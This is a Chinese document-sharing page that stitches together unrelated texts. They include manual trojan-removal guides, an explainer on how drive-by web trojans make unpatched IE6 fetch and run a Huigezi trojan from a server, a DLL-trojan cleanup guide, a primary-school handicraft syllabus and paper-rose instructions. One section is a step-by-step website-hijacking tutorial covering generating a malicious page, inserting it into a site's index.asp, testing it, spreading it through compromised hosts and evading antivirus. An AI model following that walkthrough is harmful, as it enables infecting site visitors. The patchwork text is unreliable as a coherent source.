手工查杀木马病毒的一般详细步骤其实，在平时一不小心中病毒或木马的时候，对于高手来说，都采用手动查杀的方式，因为一方面，对于互联网上新出现的病毒或其变种，大多数的杀毒厂商往往都是被动的，这样就给那些病毒木马提供了时间上的有利条件;另一方面，用杀毒软件查杀的话，是很浪费宝贵的时间的，你知道，高手们往往是不会去选择做傻事的，因为他们知道应该在这些傻事 中学到些什么,而对于我们普通菜鸟用户来说，怎么办呢,总不能坐以待毙吧～作为高手是不能容忍的，因此，手工查杀就从中起了重要作用。那么我们应该怎么办呢,我 们应该从中学到些什么呢, 首先，当我们感到机器变得比以前慢很多，或者鼠标有时会不自主的乱抖动，这时我们就应 该考虑是不是病毒或木马在作怪了。 这时，我们的第一步就是打开任务管理器，仔细查看有没有哪些异常或自己尚不清楚的进程，发现后，先不要急着结束它，先用纸和笔记录下来，这时我们可以在网上查下该进程的相关资料(比如*.exe)，这时如果上网不方便的话，可以在资源管理器中按F3打开“搜索”，首先确保将系统中的所有文件全部显示出来，包括重要的系统文件，并“所有文件和文件夹”搜索，看看它到底藏在了哪里，也许有时候你会发现，这个你不熟悉的进程名正是系统中正常的一个程序的进程。不过这也没关系，我们都是从不懂到懂得的一个过程，没什么指得可 笑的。 如果从网上找到的资料里，发现这个确是病毒或木马的话，则毫无疑问的进行下一步骤。如果是在“搜索”中找到的，则右击查看它的属性，看看它是具体什么
时间被建立的，如果与实际不符而相违背的，或明显带有迷惑用户性质的话，则可以肯定它们对我们是不利的。我 们只有将它们赶尽杀绝了!!! 下一步，我们就要毫不留情的在任务管理器中先结束其进程了。右击它选择“结束进程”，“确定”即可。如果中的病毒或木马很强的话，我们就要采取强制的方式结束它了。具体方法:首先“开始——运行”，输入CMD，打开命令提示符。输入“Tasklist”后就会看到我们各个程序的进程列表了，其中有一列叫 PID(进程标识符)的，这对我们强制关闭某个进程 时有用到。 它的命令是这样的:“ntsd -c q -p PID号”。 假如你看到我们刚才记下的可疑进程名，及其后面的PID号是1060(假如)，则可以，在提示符下输入“ntsd -c q -p 1060”就可以了。这是我们的第二步，其实按一般思路，结束可疑进程是第一步，这里，我们把判断作为了一个步骤，然而这对于我们这样的菜鸟来说，准确判断一个进程是不是可疑进程，是不是那么容易的，应该说什么都是靠积累的，如古人 云:不积跬步，无以至千里;不积小流，无以成江海。知识也不例外～ 好了，废话不多说。下一步，我们就要对注册表进行“体检”了，不过新手建议先备份，以防不测，有的菜鸟说，不知道应该备份哪些内容，我说你需要修改哪些内容，你就首先将其备份好，以便系统被我们折腾的崩溃了，^_^，好有后悔药吃。你知道世上本没有后悔药，所以我们每一步都要很小心，这是很重要的。即使电脑老手也有失手的时候，不管做什么。 我好象说多了。。。。。^_^ 对注册表进行编辑，使用regedit或regedt32命令。依次展开并找到以下几项，看有没有
特洛伊木马 特洛伊木马（Trojan Horse）又称木马，是一种通过各种方法直接或者间接与远程计算机之间建立起连接，使远程计算机能够通过网络控制本地计算机的程序。这个名称来源于希腊神话《木马屠城记》。古希腊有大军围攻特洛伊城，久久无法攻下。于是有人献计制造一只高二丈的大木马，假装作战马神，让士兵藏匿于巨大的木马中，大部队假装撤退而将木马摈弃于特洛伊城下。城中得知解围的消息后，遂将“木马”作为奇异的战利品拖入城内，全城饮酒狂欢。到午夜时分，全城军民尽入梦乡，匿于木马中的将士开秘门游绳而下，开启城门及四处纵火，城外伏兵涌入，部队里应外合，焚屠特洛伊城。后世称这只大木马为“特洛伊木马”。如今黑客程序借用其名，有“一经潜入，后患无穷”之意。 通常木马并不被当成病毒，因为它们通常不包括感染程序，因而并不自我复制，只是靠欺骗获得传播。现在，随着网络的普及，木马程序的危害变得十分强大，概括起来，木马的危害有：窃取数据、接受非授权操作者的指令、篡改文件和数据、删除文件和数据、施放病毒、使系统自毁、远程运行程序、跟踪监视对方屏幕、直接屏幕鼠标控制，键盘输入控制、监视对方任务且可以中止对方任务、锁定鼠标键盘和屏幕、远程重启和关机、远程读取和修改注册表、共享被控制端的硬盘等。 远程控制概述。要了解木马，首先应了解远程控制。所谓远程控制，是指管理人员在异地通过计算机网络异地拨号或双方都接入Internet等手段，联通需被控制的计算机，将被控计算机的桌面环境显示到自己的计算机上，通过本地计算机对远方计算机进行配置、软件安装程序、修改等工作。这里的远程不是字面意思的远距离，一般指通过网络控制远端电脑。早期的远程控制往往指在局域网中的远程控制而言，随着互联网的普及和技术革新，现在的远程控制往往指互联网中的远程控制。当操作者使用主控端电脑控制被控端电脑时，就如同坐在被控端电脑的屏幕前一样，可以启动被控端电脑的应用程序，可以使用或窃取被控端电脑的文件资料，甚至可以利用被控端电脑的外部打印设备（打印机）和通信设备（调制解调器或者专线等）来进行打印和访问外网和内网，就像利用遥控器遥控电视的音量、变换频道或者开关电视机一样。不过，有一个概念需要明确，那就是主控端电脑只是将键盘和鼠标的指令传送给远程电脑，同时将被控端电脑的屏幕画面通过通信线路回传过来。也就是说，控制被控端电脑进行操作似乎是在眼前的电脑上进行的，实质是在远程的电脑中实现的，不论打开文件，还是上网浏览、下载等都是存储在远程的被控端电脑中的。远程控制必须通过网
张胜国 经济学院金融系0802班
网页木马攻击原理及防范方法 摘要：此文章主要介绍网页攻击的原理及防范方法。写此文章的主要原因是一是：近期小耗子木马案让我很吃惊，竟有那么多肉鸡；二是我国的木马产业已经达到百亿元（最近腾讯网上每天都会有此报告），太让人吃惊了；第三，更重的是我在校网站工作，做一名网站程序员，这要求我在以后工作中实施防范注意。 网页木马的攻击 一、网页木马的攻击原理（） 首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了浏览器的漏洞，让IE6浏览器在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。 有朋友会说，打开一个网页，浏览器真的能自动下载程序和运行程序吗？如果浏览器真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，浏览器是禁止自动下载程序特别是运行程序的，但是，浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中“https://www.doczj.com/doc/cc17177906.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的…之间（如图1），然后用没打补丁的IE6打开，接下来，打开IE的临时目录，你会发现，在该文件夹中有一个“1.exe”文件，这也就是说，该网页已自动下载了我放置在Web服务器上的灰鸽子木马。 图1 网页木马示例 小提示：灰鸽子木马 为什么一定要用灰鸽子木马呢？因为灰鸽子是反弹型木马，该木马能绕过天网等大多数防火墙的拦截，中马后，服务端即被控端能主动连接控制端（客户端），也就是说，一旦被控端连接到Internet，在控制端那里，
系统安全:剿清删不掉的DLL木马 DLL注入木马是目前网络上十分流行的木马形式，它就像是一个寄生虫，木马以DLL文件的形式，寄宿在某个重要的系统进程中，通过宿主来调用DLL文件，实现远程控制的功能。这样的木马嵌入到系统进程中可以穿越防火墙，更让人头疼的是，用杀毒软件进行查杀，杀软即使报警提示发现病毒，但是也无法杀掉木马病毒文件，因为木马DLL文件正被宿主调用而无法删除。下面我们把杀软放到一边，通过专用工具及其手工的方法来清除DLL木马。 一、清除思路 1、通过系统工具及其第三方工具找到木马的宿主进程，然后定位到木马DLL文件。 2、结束被木马注入的进程。 3、删除木马文件。 4、注册表相关项的清除。 二、清除方法 1、普通进程DLL注入木马的清除 有许多DLL木马是注入到“iexplore.exe”和“explorer.exe”这两个进程中的，对于注入这类普通进程的DLL木马是很好清除掉的。 如果DLL文件是注入到“iexplore.exe”进程中，此进程就是IE浏览进程，那么可以关掉所有IE窗口和相关程序，然后直接找到DLL文件进行删除就可以了。如果是注入到“explorer.exe”进程中，那么就略显麻烦一些，因为此进程是用于显示桌面和资源管理器的。当通过任务管理器结束掉“explorer.exe”进程时，桌面无法看到，此时桌面上所有图标消失掉，“我的电脑”、“网上邻居”等所有图标都不见了，也无法打开资源管理器找到木马文件进行删除了。怎么办呢? 这时候可以在任务管理器中点击菜单“文件”→“新任务运行”，打开创建新任务对话框，点击“浏览”挖通过浏览对话框就可以打开DLL文件所在的路径。然后选择“文件类型”为“所有文件”，即可显示并删除DLL了。(图1)
网站挂马攻击主要是指入侵者在入侵成功后修改了网站的某一些或者全部的网页文件，如果网站存在SQL注入漏洞，则比较容易取得一定的权限。如果在服务器上对网站目录等做了较严格的权限限制，也是比较容易取得Webshell权限，具有Webshell权限可以对网页文件进行修改，而挂马就是在网页中加入一些代码。这些代码往往是利用浏览器或者应用程序的漏洞，浏览者在访问这些网页时，往往会在不知不觉中去下载一些木马程序来执行。网站挂马的原理就是设置框架网页的宽度和高度为0，将一些恶意网页隐藏起来，用户访问网站时不容易觉察。目前在网络上有很多网页木马生成器，简称“网马生成器”，本案例以“Ms-0733网马生成器”为例，来讲解如何进行网站挂马攻击。 步骤一配置网页木马。在使用“Ms-0933网马生成器”配置前需要准备好一款已经配置好的木马服务端，然后直接运行“Ms-0933网马生成器”在网马地址中输入“https://www.doczj.com/doc/cc17177906.html,/test.exe”，如图1所示，然后单击“生成木马”即可生成一网页文件HACKLL.HTM。 配置Ms-0733网马生成器 步骤二修改网站网页文件。在网站首页文件index.asp中加入已经配置好的网页木马htm文件，一般通过在页面中加入“”来实现，如图2所示。 加入木马代码到正常网页 网页木马利用的是IE浏览器存在的漏洞，其网页木马最本质的东西有两个一个是脚本，另外一个是真正的木马服务端，利用脚本来直接执行木马服务端或者通过下载者来下载木马服务端然后再执行。其网页木马文件中多是一些JavaScript代码，如图3所示。 网页木马源代码 测试网页木马是否能够正常执行。在未安装微软的MS0933补丁程序的虚拟机中打开浏览器，并在其中输入网页木马的地址，一会儿后，在控制端就看见肉鸡上线了。 大量传播网页木马。网页木马测试成功以后，就可以将其配置好的网页木马放入一些提供Web服务的肉鸡上，只要访问者的系统未安装其网页木马利用的漏洞，如果系统未安装任何对网页木马进行防御的软件，则计算机感染网页木马的几率非常大。 J技巧 直接在网站进行“挂马”攻击，被攻击的对象只能是存在安全漏洞的计算机，且攻击时间不宜太长，否则极易被杀毒软件查杀。
国内资深安全专家详谈网页木马 诚信网安－－子明 【https://www.doczj.com/doc/cc17177906.html, 专家特稿】当今网络，反病毒软件日益增多，使用的反病毒技术越来越先进，查杀病毒的能力逐渐提高，但病毒制作者并不会罢休，反查杀手段不断升级，新的病毒层出不穷，形式也越来越多样化，为了躲避查杀，病毒自身的隐蔽性越来越高，针对反病毒软件对传统的病毒传播途径的监控能力提高，造成病毒传播困难的问题，越来越多的病毒，利用多数反病毒软件产品对恶意脚本监控能力的缺陷，开始利用网页木马这一危害面最广泛，传播效果最佳的方式来传播。 一、什么是网页木马 网页木马是利用网页来进行破坏的病毒，它包含在恶意网页之中，使用脚本语言编写恶意代码，依靠系统的漏洞，如IE浏览器存在的漏洞来实现病毒的传播。当用户登陆了包含网页病毒的恶意网站时，网页木马便被激活，受影响的系统一旦感染网页病毒，就会遭到破坏，轻则浏览器首页被修改，标题改变，系统自动弹出广告，重则被装上木马，感染病毒，使用户无法进行正常的使用。甚至会引起系统崩溃，敏感信息丢失等严重后果。由于脚本语言易于掌握，所以网页木马非常容易编写和修改，造成很难提取特征值，增加了杀毒软件查杀以及用户预防的困难。 目前的网页木马都是利用脚本语言、ActiveX、WSH等来实现对客户端计算机的远程操作，如改写注册表，添加、删除、更改文件夹等操作。网页病毒可以以此来达到传播的目的。 1.利用WSH(Windows Scripting Host Object R eference)等系统控件 WSH，是“Windows Scripting Host”的简称，可以直译为“Windows 脚本宿主”。在Windows系统中会默认安装，它是内嵌于Windows 操作系统中的脚本语言工作环境。 Windows Scripting Host 这个概念最早出现于 Windows 98 操作系统。微软在研发 Windows 98 时，为了实现多类脚本文件在Windows 界面或Dos 命令提示符下的直接运行，就在系统内植入了一个基于32 位Windows 平台、并独立于语言的脚本运行环境，并将其命名为“Windows Scripting Host”。WSH 架构于ActiveX 之上，通过充当 ActiveX 的脚本引擎控制器，WSH 为 Windows 用户充分利用威力强大的脚本指令语言扫清了障碍。 WSH也有它的不足之处，任何事物都有两面性，WSH 也不例外。WSH 的优点在于它使用户可以充分利用脚本来实现计算机工作的自动化；但也正是它的这一特点，使系统存在了安全隐患。计算机病毒制造者用脚本语言来编制病毒，并利用WSH 的支持功能，让这些隐藏着病毒的脚本在网络中广为传播。借助WSH的缺陷，通过JAVAScript，VBScript，ActiveX等网页脚本语言，可以改动受影响系统的注册表，利用服务器端脚本程序如：ASP，PHP等来记录访问网页者的相关信息，浏览之后，系统目录被完全共享;IP地址、访问时间、操作系统名称会被网页木马所记录，造成敏感信息的泄露。 2．Microsoft Internet Explorer等浏览器存在漏洞 3．脚本语言 用JAVA编制的脚本语言主要是Java Applet和Java Script。Applet是Java编写的小应用程序，不能独立运行，需要嵌入HTML文件,遵循标准，在支持Java的浏览器(如Microsoft Internet Explorer) 上运行，是Java一个重要的应用分支，它改变了传统网页呆板的界面，在WWW网页(Home Page / Pages)设计中加入了动画、影像、音乐等元素。 JavaScript是一种基于对象(Object)和事件驱动(Event Driven)并具有安全性能的脚本语言。使用它的目的是与HTML超文本标记语言、与Web客户交互作用。从而可以开发客户端的应用程序等。它是通过嵌入或文件引用在标准的HTML语言中实现的。它的出现弥补了HTML语言的缺陷，它是Java与HTML折衷的选择，具有基于对象、简单、安全、动态、跨平台性等特性。 ActiveX是Microsoft提出的一组使用COM(Component Object Model，部件对象模型)使得软件部件在网络环境中进行交互的技术。它与具体的编程语言无关。作为针对Internet应用开发的技术，ActiveX 被广泛应用于WEB服务器以及客户端的各个方面。同时，ActiveX技术也被用于方便地创建普通的桌面应用程序。在Applet中可以使用 ActiveX技术，如直接嵌入ActiveX控制，或者以ActiveX技术为桥梁，将其它开发
《手工》校本课程计划与教案授课教师：杨敏 授课对象：四年级学生 授课时间：每周五校本课程 手工方课程的开设是对课堂教学的补充和延伸，与课堂教学相比更具灵活性、可塑性，因而学生非常乐意参加。地方课程的开设，在于培养学生对美术的兴趣、爱好、增长知识、提高技能、丰富学生的课余文化生活，为今后培养美术人才起着积极推动的作用。现将本学期美术小组的活动安排制定如下： 一、活动目的 本学期开设的手工地方课程活动为一部分有特长爱好的学生提供一个展示个性才艺的机会和空间，使他们的一技之长得到充分的发挥和展示，以点带面，促进全校的美术活动。进一步了解美术的基本知识，提高学生的欣赏水平及创造能力。同时让学生在活动中体验创作的乐趣。 二、活动要求 1、组织学生按时参加活动，并保持室内清洁。 2、每周五下午第二节课开始活动，小组成员必须准时到达美术室。 3、美术小组成员应严格遵守纪律，不准在美术室大声喧哗，不准做与美术学习无关的事。 4、每次老师布置的作业，学生都应按时完成。 5、爱护美术教室内的设施和用品。 三、活动内容
1、以小组合作的形式进行平面剪贴和立体手工制作 2、卡纸和生活中的废旧物品均可作为创作材料 3、给学生自己创作作品的时间和空间。 4、欣赏优秀手工作品，开拓学生眼界。 5、及时用相机拍摄活动内容。（集体或个人） 四、定期举办美术比赛 举办美术展览，交流、回顾、总结学习成果，为同学们提供表现自己实力，增强自信心的舞台能起到意想不到的效果。教师要精心指导，严格把关。学生大胆构思，不拘一格，精心绘制，多出佳作，在校内展出以起到示范作用。 五、备注 附：教学进程和教案 博爱小学地方课程备课（填年度学期） 一、教学进程 有趣的吊饰 教学目标： 1、知识与技能：能表现物象的形态特征；运用剪、对折、粘贴制作吊饰；有目的的排列。 2、过程与方法： （1）在比较中，感受民间饰物造型、色彩、花纹特点； （2）在探索中学习吊饰的设计方法； （3）在“尝试运用”中掌握制作方法。 3、情感、态度、价值观：
一·手工查杀病毒木马 你的电脑安全吗？你的电脑可以防黑吗？ 在平时一不小心中病毒或木马的时候，对于高手来说，都采用手动查杀的方式，因为一方面，对于互联网上新出现的病毒或其变种，大多数的杀毒厂商往往都是被动的，这样就给那些病毒木马提供了时间上的有利条件；另一方面，用杀毒软件查杀的话，是很浪费宝贵的时间的。 现在的杀毒软件那么多啊，为什么我们还要学习用手动来杀毒呢？你想想病毒的产生肯定是比你的杀毒软件的升级快很多的，既然是那个样子的话，我们学习手动杀毒就对我们很有帮助，也可以让我们更加熟悉计算机的进程以及对我们将来学习更多的计算机技术打下很好的基础。 首先，对于自己的计算机要有洞悉力，说得通俗点就是如果发现什么不对的就要考虑下是什么原因了。因为是讲手工杀毒那就先讲中毒的几个特别征兆，例如：你的电脑在上网的时候自己会打开不知名的网站（恶意代码也是会这样的啊，我们也把它暂时当病毒吧）；你的电脑的速度变得很慢很慢，特别是开机的时候要很久；你的电脑文件有的开不了；有时候点一个陌生的文件突然一闪而过；有时候总跳出非法操作……可以说你觉得很可疑的时候，都可能是中了病毒。那么我们就要找到病毒。 这时我们的第一步就是打开任务管理器，仔细查看有没有哪些异常或自己尚不清楚的进程，发现后，先不要急着结束它，先用纸和笔记录下来，这时我们可以在网上查下该进程的相关资料(比如*.exe)，这时如果上网不方便的话，可以在资源管理器中按F3打开“搜索”，首先确保将系统中的所有文件全部显示出来，包括重要的系统文件，并在“所有文件和文件夹”搜索，看看它到底藏在了哪里，也许有时候你会发现，这个你不熟悉的进程名正是系统中正常的一个程序的进程。 如果从网上找到的资料里，发现这个确是病毒或木马的话，则毫无疑问的进行下一步骤。如果是在“搜索”中找到的，则右击查看它的属性，看看它是具体什么时间被建立的，如果与实际不符而相违背的，或明显带有迷惑用户性质的话，则可以肯定它们对我们是不利的。我们只有将它们赶尽杀绝了!!! 下一步，我们就要毫不留情的在任务管理器中先结束其进程了。右击它选择“结束进程”，“确定”即可。如果中的病毒或木马很强的话，我们就要采取强制的方式结束它了。具体方法：首先“开始——运行”，输入CMD，打开命令提示符。输入“T asklist”后就会看到我们各个程序的进程列表了，其中有一列叫PID(进程标识符)的，这对我们强制关闭某个进程时有用到。它的命令是这样的：“ntsd -c q -p PID号”(假如你看到我们刚才记下的可疑进程名，及其后面的PID号是1060(假如)，则可以，在提示符下输入“ntsd -c q -p 1060”就可以了)。 一般来说，我们查找病毒和木马的基本方法有： ①、进程法：有的病毒在热启动（CTRL+ALT+DEL)就可以看出来，它们总是想隐藏自己成为系统里面的特殊文件，仔细看就可以看出猫腻了。什么把l(字母）写成1（数字）啦，把O（字母）变成了0的啊，更好笑的是连大小写都出来了，其实只要认真看问题就简单。如果你对进程不是很了解的话，建议把它名字记下来去百度找找，应该可以找到答案。特别要注意的是你在用热启动的时候，最好不要开任何文件和软件，这样比较好辨认。 ②、启动法：现在的病毒和木马都会自己随系统而启动，那么我们就可以根据这个把它找到。开始——运行——输入msconfig在启动选项就可以看到启动的项目和命令还有位置，把你觉得十分可疑的前面的沟去掉就可以了。记下那些可疑的启动项命令的地址，将
主要材料：皱纹纸、花柄 所需工具：剪刀、白胶 制作步骤：第1步：把粉色的皱纹纸剪成一个长条 把粉色的皱纹纸剪成一个长条 第2步：然后向教程中这样，从一端开始，在一边开始折叠一个小角，然后顺着进行折叠 然后向教程中这样，从一端开始，在一边开始折叠一个小角，然后顺着进行折叠、 第3步：折叠好一个长条之后，就有了这样一个一边上有很漂亮的图样的皱纹纸啦，接着要做的就是把这一条皱纹纸卷成玫瑰花的样子就可以了，用花柄在下面将玫瑰花固定 折叠好一个长条之后，就有了这样一个一边上有很漂亮的图样的皱纹纸啦，接着要做的就是把这一条皱纹纸卷成玫瑰花的样子就可以了，用花柄在下面将玫瑰花固定 第4步：用绿色的皱纹纸将花柄包成绿色，并且用绿色纸张剪成的叶子来装饰就可以啦 用绿色的皱纹纸将花柄包成绿色，并且用绿色纸张剪成的叶子来装饰就可以啦 第5步：这样的玫瑰花是不是很简单就制作完成啦。 这样的玫瑰花是不是很简单就制作完成啦。 主要材料：彩纸、绿色纸带 所需工具：剪刀、白胶 制作步骤：第1步：为了拍出美美的照片，自己制作纸玫瑰也是可以的，特别是制作起来也不难，用彩纸先要剪出大大的花瓣和叶子来 为了拍出美美的照片，自己制作纸玫瑰也是可以的，特别是制作起来也不难，用彩纸先要剪出大大的花瓣和叶子来、 第2步：用笔辅助将小的花瓣边缘卷出弧度
用笔辅助将小的花瓣边缘卷出弧度 第3步：大的花瓣就要从两边分别用笔卷一下 大的花瓣就要从两边分别用笔卷一下 第4步：把花杆用绿色纸带包好 把花杆用绿色纸带包好 第5步：然后就可以在花杆的一端开始加上花瓣了 然后就可以在花杆的一端开始加上花瓣了 第6步：一边加花瓣，可以先用绿色纸带固定一下一边加花瓣，可以先用绿色纸带固定一下 第7步：接着，在外面开始加大的玫瑰花瓣 接着，在外面开始加大的玫瑰花瓣 第8步：将花瓣都加好之后，用绿色纸带缠好 将花瓣都加好之后，用绿色纸带缠好 第9步：在下面加上绿色彩纸剪好的花萼 在下面加上绿色彩纸剪好的花萼 第10步：把花萼下面用纸带固定好